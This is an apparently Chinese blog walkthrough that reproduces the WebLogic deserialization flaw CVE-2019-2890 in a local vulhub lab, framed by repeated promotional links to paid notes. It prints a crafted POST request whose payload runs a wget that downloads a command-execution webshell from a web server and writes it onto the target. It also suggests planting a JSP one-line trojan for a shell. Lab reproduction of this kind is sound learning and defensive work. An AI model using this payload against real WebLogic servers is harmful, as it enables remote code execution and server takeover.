行业知识
【网络安全---漏洞复现】WebLogic 反序列化漏洞(CVE-2019-2890)漏洞复现
首先分享一个自己做的很不错的网路安全笔记,内容详细介绍了许多知识
分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取:
https://m.tb.cn/h.gcRis7s?tk=eBqAWGxQ9I2https://m.tb.cn/h.gcRis7s?tk=eBqAWGxQ9I2
不知道怎么获取的可以私信联系我,欢迎技术交流!
一,漏洞描述
1-1 漏洞原理:
Weblogic在利用T3协议进行远程资源加载调用时,默认会进行黑名单过滤以保证反序列化安全。本漏洞绕过了Weblogic的反序列化黑名单,使攻击者可以通过T3协议对存在漏洞的Weblogic组件实施远程攻击。由于T3协议在Weblogic控制台开启的情况下默认开启,而Weblogic默认安装会自动开启控制台,所以攻击者可通过此漏洞造成远程代码执行,以控制Weblogic服务器。
1-2 影响版本
WebLogic Server 10.3.6.0
WebLogic Server 12.1.3.0
WebLogic Server 12.2.1.3
二,靶场搭建
靶机:192.168.31.160
通过vulhub靶场来进行复现
需要有docker镜像,需要安装docker镜像请参考下面这篇文章
docker及docker命令详解_ANii_Aini的博客-CSDN博客docker及docker命令详解;docker是一个软件,是一个运行与linux和windows上的软件,用于创建、管理和编排容器;docker平台就是一个软件集装箱化平台,是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,也可以实现虚拟化,并且容器之间不会有任何接口;https://blog.csdn.net/m0_67844671/article/details/132872790
通过docker-compose up -d 命令拉去启动靶场,我之前已经拉去启动过,这次只需要启动即可;
浏览器访问一下http://192.168.31.160:7001/console/login/LoginForm.jsp
看到如下页面表示靶场搭建好了,并启动成功
访问一下http://192.168.31.160:7001/_async/AsyncResponseService
看到如吓页面,说明存在 反序列化漏洞(CVE-2019-2890)
三,漏洞复现
1-1 准备java脚本文件
编写能执行系统命令的java脚本文件,通过漏洞上传到服务器,可以请求的方式执行系统漏洞
脚本文件我给大家准备好了,直接用即可
这代码大概意思就是接受两个参数pwd和cmd,pwd是确认密码,cmd是执行的系统命令;
当传过来的pwd值为123时,执行cmd系统指令并返回
1-2 在另一个主机,或者直接靶机上也可以,mkdir aini 创建一个文件夹aini的文件夹,进入到文件夹里面,tocuh shell.txt ,然后vim shell.txt 把准备好的执行系统指令的代码写入到shell.txt中
1-2 开启web服务
我们需要开启web服务,让shell.txt能够访问
在aini 文件夹里执行 python3 -m http.server 5555 开启web服务,默认以aini文件夹为根目录
注:我是kali系统,自带Python3 ,如果是centos系统的话应该不是自带Python3 ,可以yum provides python3 找到能安装的Python3安装包,然后进行安装
web 服务已经开启,访问看看 192.168.31.160:5555
能成功访问到
1-3 抓包,修改数据包
对 http://192.168.31.160:7001/_async/AsyncResponseService
进行抓包,并放到重发器里面
下面对数据包进行修改
GET请求---------POST请求
添加ContentType 值为text/xml
可以删除一些多余的请求行,只保留下面给的几个
注意:下面代买中如下红色部分需要修改改成自己开启web服务的主机IP和端口,和shell的名称
wget http://192.168.31.160:12345/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/aini.jsp
这个代码的意思就是去 http://192.168.31.160:12345/shell.txt 里 把shell.txt下载下来以后再写入到服务器上一个aini.jsp的文件中
POST /_async/AsyncResponseService HTTP/1.1Host: 192.168.31.160:7001User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Connection: closeContent-Length: 868content-type: text/xml xxxx/bin/bash-cwget http://192.168.31.160:12345/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/aini.jsp
1-4 发包,查看结果
发包以后查看如下结果,说明文件写入成功了
1-5 访问写入的文件,执行命令
到此我们就复现成功了,通过反序列化写入能执行系统命令的脚本问价,然后可以执行系统命令,这么说能不能写入一句户木马程序来getshell呢?
大家可以取找JSP一句话木马,同样的办法写入以后可以用工具试一下看看
有问题可以留言,一起探讨
首先分享一个自己做的很不错的网路安全笔记,内容详细介绍了许多知识
分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取:
https://m.tb.cn/h.gcRis7s?tk=eBqAWGxQ9I2https://m.tb.cn/h.gcRis7s?tk=eBqAWGxQ9I2
不知道怎么获取的可以私信联系我,欢迎技术交流!
上一篇:VCS揭秘,重点解析,一探究竟!
下一篇:自己怎么建传奇服务器?